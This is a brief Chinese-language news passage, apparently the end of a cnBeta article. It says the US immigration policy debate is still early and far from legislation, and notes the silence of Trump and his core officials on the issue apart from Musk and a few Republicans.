不过，目前这些争论还仅处于最早期的意见表达阶段，距离正式立法还有相当长的距离。而除了马斯克等科技业人士及几名共和党议员之外，特朗普及其政府的核心成员都在这一问题上罕见沉默，这也为美国移民的未来增添了几分不确定性。 [查看评论](https://m.cnbeta.com.tw/comment/1466394.htm)